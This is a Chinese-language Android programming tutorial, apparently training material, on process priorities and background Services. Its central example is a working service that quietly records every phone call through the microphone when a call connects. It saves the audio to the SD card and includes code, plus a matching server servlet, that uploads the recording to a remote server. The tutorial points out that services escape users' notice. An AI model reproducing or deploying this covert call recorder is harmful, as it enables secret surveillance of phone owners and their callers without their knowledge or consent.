首先说一下进程的优先级:
Foreground process 前台进程
优先级别最高,即便系统内存不足的时候 也不会杀死前台进程
Visible process 可见进程
优先级稍为低一点
Service process 服务进程
存活时间比较长 .
里面的子线程不会回收.
Background process 后台进程
Empty process 空进程
没有任何的组件进程
为什么要使用 service 是因为service这个组件会长期的在后台运行
一般情况下不会别操作系统回收.
Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。服务的开发比较简单,如下:
public class SMSService extends Service { }
<service android:name=".SMSService" />
服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service,但是它们的使用场合有所不同。使用startService()方法启用服务,访问者与服务之间没有关连,即使访问者退出了,服务仍然运行。使用bindService()方法启用服务,访问者与服务绑定在了一起,访问者一旦退出,服务也就终止,大有“不求同时生,必须同时死”的特点。
采用Context.startService()方法启动服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。
采用服务监听用户的通话,上传信息到服务器代码示例:
PhoneListenService.java:
package cn.itcast.phonelistener;
import java.io.File;
import org.apache.commons.httpclient.methods.PostMethod;
import org.apache.commons.httpclient.methods.multipart.FilePart;
import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;
import org.apache.commons.httpclient.methods.multipart.Part;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
public class PhoneListenService extends Service {
// activity receiver contentprovider
@Override
public IBinder onBind(Intent intent) {
return null;
}
/**
* 在服务第一次被创建的时候 执行
*/
@Override
public void onCreate() {
super.onCreate();
// 设置为前台进程 不易被系统回收
setForeground(true);
// 1. 判断当前手机的状态,
// 2.如果发现手机处于 通话状态
// 3.创建一个录音器, 录下来用户的通话信息
// 4.当发现手机再次处于 idle 状态 停止录音机,把音频文件 上传到服务器
// 得到手机与电话状态相关的服务
TelephonyManager manager = (TelephonyManager) this
.getSystemService(TELEPHONY_SERVICE);
// this.getSystemService(WIFI_SERVICE);
manager.listen(new MyPhoneListener(),
PhoneStateListener.LISTEN_CALL_STATE);
System.out.println(" 线程id " + Thread.currentThread().getName());
}
private class MyPhoneListener extends PhoneStateListener {
MediaRecorder recorder = null;
/**
* 当电话的通话状态发生改变的时候 被调用的方法
*/
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE: // 当前电话处于闲置状态
System.out.println("当前电话处于闲置状态 ");
// 判断下recorder是否为空
if (recorder != null) {
recorder.stop();
recorder.release(); // Now the object cannot be reused
recorder = null;
new Thread() {
@Override
public void run() {
// 上传数据到服务器 演示的代码 有问题的
File file = new File("/sdcard/temp.3gp");
try {
// upload(file);
} catch (Exception e) {
e.printStackTrace();
}
}
}.start();
}
break;
case TelephonyManager.CALL_STATE_RINGING: // 当前电话处于零响状态
System.out.println("电话号码为 " + incomingNumber);
break;
case TelephonyManager.CALL_STATE_OFFHOOK: // 当前电话处于接听状态
System.out.println("当前电话处于通话状态 ");
// 初始化一个录音器,
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
recorder.setOutputFile("/sdcard/temp.3gp");
recorder.prepare();
recorder.start(); // Recording is now started
break;
}
} catch (Exception e) {
e.printStackTrace();
}
super.onCallStateChanged(state, incomingNumber);
}
}
// 上传数据到服务器
public void upload(File file) throws Exception {
// 实例化上传数据的 数组 part []
Part[] parts = { new FilePart("file", file) };
PostMethod filePost = new PostMethod(
"http://172.16.40.157:8080/web2/LoginServlet");
filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost
.getParams()));
org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();
client.getHttpConnectionManager().getParams()
.setConnectionTimeout(5000);
int status = client.executeMethod(filePost);
System.out.println(status);
if (status == 200) {
System.out.println("上传成功");
} else {
throw new IllegalStateException("服务器状态异常");
}
}
}
DemoActivity.java:
package cn.itcast.phonelistener;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
public class DemoActivity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Intent intent = new Intent(this, PhoneListenService.class);
startService(intent);
}
}
清单文件:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.itcast.phonelistener"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="8" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.INTERNET" />
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<activity
android:name=".DemoActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".PhoneListenService" >
</service>
</application>
</manifest>
Intent intent = new Intent(this, PhoneListenService.class);
startService(intent);
类似于以上代码,provider、activity、receiver组件可以使用同样的方法开始意图。
完成向服务器传送文件需有以下jar包的支持:
服务器端代码:
package big.web;
import java.io.File;
import java.io.IOException;
import java.util.List;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileItemFactory;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
/**
* Servlet implementation class LoginServlet
*/
@WebServlet("/LoginServlet")
public class LoginServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
/**
* @see HttpServlet#HttpServlet()
*/
public LoginServlet() {
super();
// TODO Auto-generated constructor stub
}
/**
* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse
* response)
*/
protected void doGet(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
}
/**
* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse
* response)
*/
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
boolean isMultipart = ServletFileUpload.isMultipartContent(request);
System.out.println(isMultipart);
if (isMultipart) {
String realpath = request.getSession().getServletContext()
.getRealPath("/files");
System.out.println(realpath);
File dir = new File(realpath);
if (!dir.exists())
dir.mkdirs();
FileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setHeaderEncoding("UTF-8");
try {
List<FileItem> items = upload.parseRequest(request);
for (FileItem item : items) {
if (item.isFormField()) {
String name1 = item.getFieldName();// 得到请求参数的名称
String value = item.getString("UTF-8");// 得到参数值
System.out.println(name1 + "=" + value);
} else {
item.write(new File(dir, System.currentTimeMillis()
+ item.getName().substring(
item.getName().lastIndexOf("."))));
}
}
} catch (Exception e) {
e.printStackTrace();
}
} else {
System.out.println("else");
doGet(request, response);
}
}
}
同样的,在服务器端也需要jar包的支持: